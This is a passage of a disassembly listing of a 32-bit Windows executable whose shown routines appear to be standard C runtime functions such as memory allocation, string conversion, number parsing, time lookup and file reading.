loc_417BEC:				; CODE XREF: sub_417BC9+17j
		pop	esi
		retn
sub_417BC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BEE	proc near		; CODE XREF: sub_403BE2+220p
					; sub_403E35+C1p ...

arg_0		= dword	ptr  4

		push	dword_5158DC
		push	[esp+4+arg_0]
		call	sub_417C00
		pop	ecx
		pop	ecx
		retn
sub_417BEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C00	proc near		; CODE XREF: sub_417BEE+Ap
					; sub_418F5C+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417C29


loc_417C07:				; CODE XREF: sub_417C00+27j
		push	[esp+arg_0]
		call	sub_417C2C
		test	eax, eax
		pop	ecx
		jnz	short locret_417C2B
		cmp	[esp+arg_4], eax
		jz	short locret_417C2B
		push	[esp+arg_0]
		call	sub_419BC2
		test	eax, eax
		pop	ecx
		jnz	short loc_417C07


loc_417C29:				; CODE XREF: sub_417C00+5j
		xor	eax, eax

locret_417C2B:				; CODE XREF: sub_417C00+13j
					; sub_417C00+19j
		retn
sub_417C00	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C2C	proc near		; CODE XREF: sub_417C00+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_43B7BC
		ja	short loc_417C44
		push	esi
		call	sub_419FAD
		test	eax, eax
		pop	ecx
		jnz	short loc_417C60


loc_417C44:				; CODE XREF: sub_417C2C+Bj
		test	esi, esi
		jnz	short loc_417C4B
		push	1
		pop	esi


loc_417C4B:				; CODE XREF: sub_417C2C+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C9105D4h


loc_417C60:				; CODE XREF: sub_417C2C+16j
		pop	esi
		retn
sub_417C2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C62	proc near		; CODE XREF: sub_403E35+10Ep
					; sub_403E35+116p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_417C8F
		push	esi
		call	sub_419C57
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C81
		push	eax
		call	sub_419C82
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417C81:				; CODE XREF: sub_417C62+13j
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C91043Dh


loc_417C8F:				; CODE XREF: sub_417C62+7j
		pop	esi
		retn
sub_417C62	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C91	proc near		; CODE XREF: sub_404D78+2B9p
					; sub_404D78+2DEp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_417CA8


loc_417C9E:				; CODE XREF: sub_417C91+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_417C9E


loc_417CA8:				; CODE XREF: sub_417C91+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_417C91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CAE	proc near		; CODE XREF: sub_404D78+17Cp
					; sub_40EB6D+19p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417D7B
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417DA8
		cmp	dword_5158EC, esi
		jnz	short loc_417CFF
		cmp	edi, esi
		jbe	loc_417DA8


loc_417CDE:				; CODE XREF: sub_417CAE+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417DA8
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417CDE
		jmp	loc_417DA8
; ---------------------------------------------------------------------------


loc_417CFF:				; CODE XREF: sub_417CAE+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_421074
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_5158FC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417DA7
		nop
		call	near ptr 7C910331h
		cmp	eax, 7Ah
		jz	short loc_417D39


loc_417D2A:				; CODE XREF: sub_417CAE+CBj
					; sub_417CAE+F7j
		mov	dword_515884, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417DA8
; ---------------------------------------------------------------------------


loc_417D39:				; CODE XREF: sub_417CAE+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417D41:				; CODE XREF: sub_417CAE+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417D63
		mov	edx, off_43B5A0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417D58
		inc	eax


loc_417D58:				; CODE XREF: sub_417CAE+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417D41


loc_417D63:				; CODE XREF: sub_417CAE+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_5158FC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417DA8
		jmp	short loc_417D2A
; ---------------------------------------------------------------------------


loc_417D7B:				; CODE XREF: sub_417CAE+Fj
		cmp	dword_5158EC, esi
		jnz	short loc_417D8E
		push	[ebp+arg_4]
		call	sub_417AF0
		pop	ecx
		jmp	short loc_417DA8
; ---------------------------------------------------------------------------


loc_417D8E:				; CODE XREF: sub_417CAE+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_5158FC
		nop
		call	near ptr 7C809BF8h
		cmp	eax, esi
		jz	short loc_417D2A


loc_417DA7:				; CODE XREF: sub_417CAE+6Bj
		dec	eax


loc_417DA8:				; CODE XREF: sub_417CAE+1Aj
					; sub_417CAE+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417CAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DAD	proc near		; CODE XREF: sub_417FB5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_417DC5:				; CODE XREF: sub_417DAD+46j
		cmp	dword_43B7AC, 1
		jle	short loc_417DDD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_417DEC
; ---------------------------------------------------------------------------


loc_417DDD:				; CODE XREF: sub_417DAD+1Fj
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_417DEC:				; CODE XREF: sub_417DAD+2Ej
		test	eax, eax
		jz	short loc_417DF5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DF5:				; CODE XREF: sub_417DAD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_417E03
		or	[ebp+arg_C], 2
		jmp	short loc_417E08
; ---------------------------------------------------------------------------


loc_417E03:				; CODE XREF: sub_417DAD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_417E0E


loc_417E08:				; CODE XREF: sub_417DAD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_417E0E:				; CODE XREF: sub_417DAD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_417FA5
		cmp	eax, 1
		jz	loc_417FA5
		cmp	eax, 24h
		jg	loc_417FA5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_417E56
		cmp	bl, 30h
		jz	short loc_417E40
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_417E72
; ---------------------------------------------------------------------------


loc_417E40:				; CODE XREF: sub_417DAD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_417E53
		cmp	al, 58h
		jz	short loc_417E53
		mov	[ebp+arg_8], 8
		jmp	short loc_417E72
; ---------------------------------------------------------------------------


loc_417E53:				; CODE XREF: sub_417DAD+97j
					; sub_417DAD+9Bj
		mov	[ebp+arg_8], ecx


loc_417E56:				; CODE XREF: sub_417DAD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_417E72
		cmp	bl, 30h
		jnz	short loc_417E72
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_417E6A
		cmp	al, 58h
		jnz	short loc_417E72


loc_417E6A:				; CODE XREF: sub_417DAD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_417E72:				; CODE XREF: sub_417DAD+91j
					; sub_417DAD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_417E82:				; CODE XREF: sub_417DAD+16Cj
		cmp	dword_43B7AC, 1
		movzx	esi, bl
		jle	short loc_417E9A
		push	4
		push	esi
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_417EA5
; ---------------------------------------------------------------------------


loc_417E9A:				; CODE XREF: sub_417DAD+DFj
		mov	eax, off_43B5A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417EA5:				; CODE XREF: sub_417DAD+EBj
		test	eax, eax
		jz	short loc_417EB1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_417EE3
; ---------------------------------------------------------------------------


loc_417EB1:				; CODE XREF: sub_417DAD+FAj
		cmp	dword_43B7AC, 1
		jle	short loc_417EC5
		push	edi
		push	esi
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_417ED0
; ---------------------------------------------------------------------------


loc_417EC5:				; CODE XREF: sub_417DAD+10Bj
		mov	eax, off_43B5A0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_417ED0:				; CODE XREF: sub_417DAD+116j
		test	eax, eax
		jz	short loc_417F1E
		movsx	eax, bl
		push	eax
		call	sub_41A758
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_417EE3:				; CODE XREF: sub_417DAD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_417F1E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_417F08
		jnz	short loc_417F02
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_417F08


loc_417F02:				; CODE XREF: sub_417DAD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_417F11
; ---------------------------------------------------------------------------


loc_417F08:				; CODE XREF: sub_417DAD+145j
					; sub_417DAD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_417F11:				; CODE XREF: sub_417DAD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_417E82
; ---------------------------------------------------------------------------


loc_417F1E:				; CODE XREF: sub_417DAD+125j
					; sub_417DAD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_417F3C
		test	edx, edx
		jz	short loc_417F36
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_417F36:				; CODE XREF: sub_417DAD+181j
		and	[ebp+var_8], 0
		jmp	short loc_417F89
; ---------------------------------------------------------------------------


loc_417F3C:				; CODE XREF: sub_417DAD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_417F62
		test	cl, 1
		jnz	short loc_417F89
		and	ecx, 2
		jz	short loc_417F59
		cmp	[ebp+var_8], 80000000h
		ja	short loc_417F62


loc_417F59:				; CODE XREF: sub_417DAD+1A1j
		test	ecx, ecx
		jnz	short loc_417F89
		cmp	[ebp+var_8], eax
		jbe	short loc_417F89


loc_417F62:				; CODE XREF: sub_417DAD+197j
					; sub_417DAD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_515884, 22h
		jz	short loc_417F78
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_417F89
; ---------------------------------------------------------------------------


loc_417F78:				; CODE XREF: sub_417DAD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_417F89:				; CODE XREF: sub_417DAD+18Dj
					; sub_417DAD+19Cj ...
		test	edx, edx
		jz	short loc_417F92
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_417F92:				; CODE XREF: sub_417DAD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_417FA0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_417FA0:				; CODE XREF: sub_417DAD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_417FB0
; ---------------------------------------------------------------------------


loc_417FA5:				; CODE XREF: sub_417DAD+66j
					; sub_417DAD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_417FAE
		mov	[eax], edi


loc_417FAE:				; CODE XREF: sub_417DAD+1FDj
		xor	eax, eax


loc_417FB0:				; CODE XREF: sub_417DAD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417DAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_417FB5	proc near		; CODE XREF: sub_405350+4BDp
					; sub_40F6F1+3897p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_417DAD
		add	esp, 10h
		retn
sub_417FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FCC	proc near		; CODE XREF: sub_405350+266p
					; sub_405350+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AF0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A824
		add	esp, 10h
		leave
		retn
sub_417FCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418000	proc near		; CODE XREF: sub_405350+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 7C80A7D4h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 7C80176Bh
		mov	ax, [ebp+var_16]
		cmp	ax, word_515872
		jnz	short loc_418065
		mov	ax, [ebp+var_18]
		cmp	ax, word_515870
		jnz	short loc_418065
		mov	ax, [ebp+var_1A]
		cmp	ax, word_51586E
		jnz	short loc_418065
		mov	ax, [ebp+var_1E]
		cmp	ax, word_51586A
		jnz	short loc_418065
		mov	ax, [ebp+var_20]
		cmp	ax, word_515868
		jnz	short loc_418065
		mov	eax, dword_515860
		jmp	short loc_4180AA
; ---------------------------------------------------------------------------


loc_418065:				; CODE XREF: sub_418000+28j
					; sub_418000+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 7C8350BFh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418092
		cmp	eax, 2
		jnz	short loc_41808E
		cmp	[ebp+var_32], 0
		jz	short loc_41808E
		cmp	[ebp+var_24], 0
		jz	short loc_41808E
		push	1
		pop	eax
		jmp	short loc_418095
; ---------------------------------------------------------------------------


loc_41808E:				; CODE XREF: sub_418000+7Aj
					; sub_418000+81j ...
		xor	eax, eax
		jmp	short loc_418095
; ---------------------------------------------------------------------------


loc_418092:				; CODE XREF: sub_418000+75j
		or	eax, 0FFFFFFFFh


loc_418095:				; CODE XREF: sub_418000+8Cj
					; sub_418000+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_515868
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_515860, eax
		pop	esi


loc_4180AA:				; CODE XREF: sub_418000+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41B2D5
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_4180DA
		mov	[ecx], eax

locret_4180DA:				; CODE XREF: sub_418000+D6j
		leave
		retn
sub_418000	endp


; =============== S U B	R O U T	I N E =======================================



sub_4180DC	proc near		; CODE XREF: sub_4059D0+7Cp
					; sub_406B85+4B5p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_4180F1
		or	eax, 0FFFFFFFFh
		jmp	short loc_41812B
; ---------------------------------------------------------------------------


loc_4180F1:				; CODE XREF: sub_4180DC+Ej
		test	al, 83h
		jz	short loc_418129
		push	esi
		call	sub_41B4B0
		push	esi
		mov	edi, eax
		call	sub_41B44A
		push	dword ptr [esi+10h]
		call	sub_41B397
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_418117
		or	edi, 0FFFFFFFFh
		jmp	short loc_418129
; ---------------------------------------------------------------------------


loc_418117:				; CODE XREF: sub_4180DC+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_418129
		push	eax
		call	sub_417C62
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_418129:				; CODE XREF: sub_4180DC+17j
					; sub_4180DC+39j ...
		mov	eax, edi


loc_41812B:				; CODE XREF: sub_4180DC+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_4180DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418132	proc near		; CODE XREF: sub_4059D0+4Ep
					; sub_406B85+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418156
		xor	eax, eax
		jmp	loc_4181FF
; ---------------------------------------------------------------------------


loc_418156:				; CODE XREF: sub_418132+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418169
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418175
; ---------------------------------------------------------------------------


loc_418169:				; CODE XREF: sub_418132+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418175
; ---------------------------------------------------------------------------


loc_418172:				; CODE XREF: sub_418132+C4j
		mov	ecx, [ebp+arg_0]


loc_418175:				; CODE XREF: sub_418132+35j
					; sub_418132+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4181A7
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4181A7
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41818C
		mov	edi, eax


loc_41818C:				; CODE XREF: sub_418132+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417490
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181A7:				; CODE XREF: sub_418132+49j
					; sub_418132+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_4181DA
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_4181BD
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_4181BD:				; CODE XREF: sub_418132+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41B65B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418204
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41820A
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181DA:				; CODE XREF: sub_418132+78j
		push	esi
		call	sub_41B582
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41820E
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_4181F2:				; CODE XREF: sub_418132+73j
					; sub_418132+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418172
		mov	eax, [ebp+arg_8]


loc_4181FF:				; CODE XREF: sub_418132+1Fj
					; sub_418132+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418204:				; CODE XREF: sub_418132+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41820E
; ---------------------------------------------------------------------------


loc_41820A:				; CODE XREF: sub_418132+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41820E:				; CODE XREF: sub_418132+B2j
					; sub_418132+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_4181FF
sub_418132	endp


; =============== S U B	R O U T	I N E =======================================



sub_41821A	proc near		; CODE XREF: sub_41823A+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41B9C1
		test	eax, eax
		jnz	short loc_418224
		retn
; ---------------------------------------------------------------------------


loc_418224:				; CODE XREF: sub_41821A+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41B851
		add	esp, 10h
		retn
sub_41821A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41823A	proc near		; CODE XREF: sub_4059D0+2Ap
					; sub_406B85+134p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41821A
		add	esp, 0Ch
		retn
sub_41823A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41824D	proc near		; CODE XREF: sub_405A6A+2B2p
					; sub_406047+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_418266:				; CODE XREF: sub_41824D+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418266
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41828E
		mov	edx, dword_515878


loc_41828E:				; CODE XREF: sub_41824D+39j
					; sub_41824D+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_4182AE
		test	al, al
		jz	short loc_4182AE
		inc	edx
		jmp	short loc_41828E
; ---------------------------------------------------------------------------


loc_4182AE:				; CODE XREF: sub_41824D+58j
					; sub_41824D+5Cj
		mov	ebx, edx


loc_4182B0:				; CODE XREF: sub_41824D+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_4182D4
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_4182D0
		inc	edx
		jmp	short loc_4182B0
; ---------------------------------------------------------------------------


loc_4182D0:				; CODE XREF: sub_41824D+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_4182D4:				; CODE XREF: sub_41824D+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_515878, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41824D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4182F0	proc near		; CODE XREF: sub_4062F7+1B4p
					; sub_4071BD+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418373
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418314
		shr	ecx, 2
		jnz	short loc_418381
		jmp	short loc_418335
; ---------------------------------------------------------------------------


loc_418314:				; CODE XREF: sub_4182F0+1Bj
					; sub_4182F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418342
		test	al, al
		jz	short loc_41834A
		test	esi, 3
		jnz	short loc_418314
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418381


loc_418330:				; CODE XREF: sub_4182F0+8Fj
		and	ebx, 3
		jz	short loc_418342


loc_418335:				; CODE XREF: sub_4182F0+22j
					; sub_4182F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41836E
		dec	ebx
		jnz	short loc_418335


loc_418342:				; CODE XREF: sub_4182F0+2Bj
					; sub_4182F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41834A:				; CODE XREF: sub_4182F0+2Fj
		test	edi, 3
		jz	short loc_418364


loc_418352:				; CODE XREF: sub_4182F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_4183E6
		test	edi, 3
		jnz	short loc_418352


loc_418364:				; CODE XREF: sub_4182F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4183D7


loc_41836B:				; CODE XREF: sub_4182F0+7Fj
					; sub_4182F0+F4j
		mov	[edi], al
		inc	edi


loc_41836E:				; CODE XREF: sub_4182F0+4Dj
		dec	ebx
		jnz	short loc_41836B
		pop	ebx
		pop	esi


loc_418373:				; CODE XREF: sub_4182F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418379:				; CODE XREF: sub_4182F0+A9j
					; sub_4182F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418330


loc_418381:				; CODE XREF: sub_4182F0+20j
					; sub_4182F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418379
		test	dl, dl
		jz	short loc_4183CB
		test	dh, dh
		jz	short loc_4183C1
		test	edx, 0FF0000h
		jz	short loc_4183B7
		test	edx, 0FF000000h
		jnz	short loc_418379
		mov	[edi], edx
		jmp	short loc_4183CF
; ---------------------------------------------------------------------------


loc_4183B7:				; CODE XREF: sub_4182F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4183CF
; ---------------------------------------------------------------------------


loc_4183C1:				; CODE XREF: sub_4182F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4183CF
; ---------------------------------------------------------------------------


loc_4183CB:				; CODE XREF: sub_4182F0+ADj
		xor	edx, edx
		mov	[edi], edx


